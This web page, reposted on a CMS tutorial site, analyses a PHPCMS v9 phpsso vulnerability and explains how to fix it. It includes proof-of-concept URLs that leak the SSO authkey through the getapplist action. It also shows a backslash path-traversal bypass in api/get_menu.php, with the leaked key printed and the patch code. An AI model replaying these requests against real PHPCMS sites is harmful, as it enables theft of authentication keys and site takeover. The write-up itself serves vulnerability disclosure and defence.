您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMS报错\phpsso_server\phpcms\modules\phpsso\index.php
张豆焕2025-05-19phpcms教程已有人查阅
导读catalog1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考1. 漏洞描述安装phpcms的时候会强制安装它的通行证
catalog
1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考
1. 漏洞描述
安装phpcms的时候会强制安装它的通行证
Relevant Link:
2. 漏洞触发条件
0x1: POC1
1. 访问头像上传页面
4. 漏洞代码分析
\phpsso_server\phpcms\modules\phpsso\index.php
\phpsso_server\caches\caches_admin\caches_data\applist.cache.php
\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
\api\get_menu.php
\phpsso_server\phpcms\modules\phpsso\index.php
Copyright (c) 2015 Little5ann All rights reserved
1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考
1. 漏洞描述
安装phpcms的时候会强制安装它的通行证
Relevant Link:
2. 漏洞触发条件
0x1: POC1
1. 访问头像上传页面
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//获取'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
2. Base64解码后
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
//将url里的uploadavatar换成:getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
3. 得到authkey
0x2: POC Bypass Path 1
http://localhost/phpcms_v9/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
3. 漏洞影响范围4. 漏洞代码分析
\phpsso_server\phpcms\modules\phpsso\index.php
/**
* 获取应用列表
*/
public function getapplist()
{
$applist = getcache('applist', 'admin');
exit(serialize($applist));
}
这个函数从cache中获取applist信息,继续追溯cache里的内容\phpsso_server\caches\caches_admin\caches_data\applist.cache.php
<?php
return array (
1 =>
array (
'appid' => '1',
'type' => 'phpcms_v9',
'name' => 'phpcms v9',
'url' => 'http://localhost/phpcms_v9/',
'authkey' => 'lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0',
'ip' => '',
'apifilename' => 'api.php?op=phpsso',
'charset' => 'utf-8',
'synlogin' => '1',
),
);
?>
所以只要我们调用phpsso并且能走到getapplist()这个方法里,就会突出sso配置的客户端的所有信息,包括authkey,我们继续回溯分析漏洞源头\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php
public function __construct()
{
$this->db = pc_base::load_model('member_model');
pc_base::load_app_func('global');
/*获取系统配置*/
$this->settings = getcache('settings', 'admin');
$this->applist = getcache('applist', 'admin');
//GET数据全部传递给POST
if(isset($_GET) && is_array($_GET) && count($_GET) > 0)
{
foreach($_GET as $k=>$v)
{
if(!in_array($k, array('m','c','a')))
{
$_POST[$k] = $v;
}
}
}
if(isset($_POST['appid']))
{
$this->appid = intval($_POST['appid']);
}
else
{
exit('0');
}
if(isset($_POST['data']))
{
//将getapplist()结果赋值给$_POST['data']
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
if(empty($this->data) || !is_array($this->data)) {
exit('0');
}
} else {
exit('0');
}
接下里的问题是我们要如何获取$_POST['data'],继续回溯到上传头像页面http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//查看源代码
script type="text/javascript">
var flashvars = {
'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
};
var params = {
'align':'middle',
'play':'true',
'loop':'false',
'scale':'showall',
'wmode':'window',
'devicefont':'true',
'id':'Main',
'bgcolor':'#ffffff',
'name':'Main',
'allowscriptaccess':'always'
};
var attributes = {
得到base64编码后的URL
aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==
/*
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
*/
将url里的uploadavatar换成:getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
得到结果
a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:27:"http://localhost/phpcms_v9/";s:7:"authkey";s:32:"lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:5:"utf-8";s:8:"synlogin";s:1:"1";}}
/*
authkey: lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0
*/
得到这个authkey,就可以获得了sso体系中的令牌,厂商对index.php中的getapplist()函数进行了patch,unset了数组中的authkey键值,但是却没有充分考虑到全部的攻击面\api\get_menu.php
/**
* 获取地区列表
*/
function ajax_getlist() {
$cachefile = $_GET['cachefile'];
$cachefile = str_replace(array('/', '//'), '', $cachefile);
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
//getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v)
{
if($v['parentid'] == $where_id)
{
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>0)
{
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
}
else
{
echo trim_script($_GET['callback']).'()';exit;
}
}
Relevant Link:
http://0cx.cc/phpcms_phpsso_auth_key.jspx
http://0day5.com/archives/3251
5. 防御方法\phpsso_server\phpcms\modules\phpsso\index.php
/**
* 获取应用列表
*/
public function getapplist()
{
$applist = getcache('applist', 'admin');
/**/
foreach($applist as $key=>$value)
{
unset($applist[$key]['authkey']);
}
/**/
exit(serialize($applist));
}
\api\get_menu.php
/**
* 获取地区列表
*/
function ajax_getlist() {
$cachefile = $_GET['cachefile'];
//$cachefile = str_replace(array('/', '//'), '', $cachefile);
/**/
$cachefile = str_replace(array('/', '//', '\\'), '', $cachefile);
/**/
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
//getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v)
{
if($v['parentid'] == $where_id)
{
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>0)
{
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
}
else
{
echo trim_script($_GET['callback']).'()';exit;
}
}
Relevant Link:
http://0day5.com/archives/3202
http:// .wooyun.org/bugs/wooyun-2015-0105242
6. 攻防思考Copyright (c) 2015 Little5ann All rights reserved
本文标签:
很赞哦! ()
相关教程
图文教程
phpcmsV9输出sql语句
1、修改数据库驱动修改execute方法,在2、修改模型添加一个方法即可使用自定义模型类查询完成之后,调用模型类的lastsql()方法即可
解决phpcms v9主页栏目连接的修改步骤
phpcms v9网站域名变更后,刷新所有缓存后,栏目链接总是改不过?网站在发展的过程中,很可能多次的修改域名。那么在PHPCMS V9中我们要怎么进行设置呢?
phpcms网站的数据库配置文件在哪,怎么修改?
找到‘configs‘文件夹后找到database.php文件,该文件就是数据库配置文件,可以将此文件保存到桌面进行打开。
phpcms标题,栏目,导航等调用写法
获取父分类下面的子分类结果可以用在sql 的in子句中调用根目录下phpcms\template\content\header文件{template "content","footer"}
相关源码
-
(自适应)绿色园林建筑花卉园艺艺术模板免费下载为景观设计及园艺企业打造的响应式网站框架,基于PbootCMS系统开发,帮助传统园林行业建立现代化数字展示平台。采用标准DIV+CSS前端架构,代码精简无冗余。查看源码 -
(自适应)WordPress主题SEO自媒体博客资讯模板RabbitV2.0Rabbit v2.0主题专注于网站搜索引擎优化需求,为博客、自媒体及资讯类网站提供专业的SEO技术解决方案。该主题从架构设计到功能实现均围绕搜索引擎优化理念展开。查看源码 -
pbootcms模板(自适应手机版)红色响应式单位机构类网站自适应响应式单位机构网站模板 | PbootCMS内核开发为机构组织设计的响应式网站模板,采用PbootCMS内核开发,支持一键替换行业内容,满足多元化场景需求。查看源码 -
响应式帝国cms7.5NBA黑色体育资讯模板下载本模板为体育新闻媒体、报道机构设计,采用帝国CMS7.5内核开发,具备完整的资讯发布、体育日历、数据展示功能。响应式布局确保在手机端呈现实时资讯和图文内容查看源码 -
帝国cms7.5商城模板带图片视频广告位功能本模板基于帝国CMS7.5内核开发,为内容电商平台设计,集成文章、图片、视频多媒体展示与广告位管理功能。采用智能响应式技术,确保商品内容在不同设备上获得较优呈现效果,帮助快速构建专业的内容营销平台。查看源码 -
(自适应)重工工业机械挖掘机机推土机网站源码下载基于PbootCMS内核开发的专业级重工机械企业网站模板,适用于挖掘机、推土机等重型工业设备展示。采用响应式设计技术,确保在各类设备上均能呈现专业视觉效果,帮助企业建立数字化展示窗口。查看源码
| 分享笔记 (共有 篇笔记) |
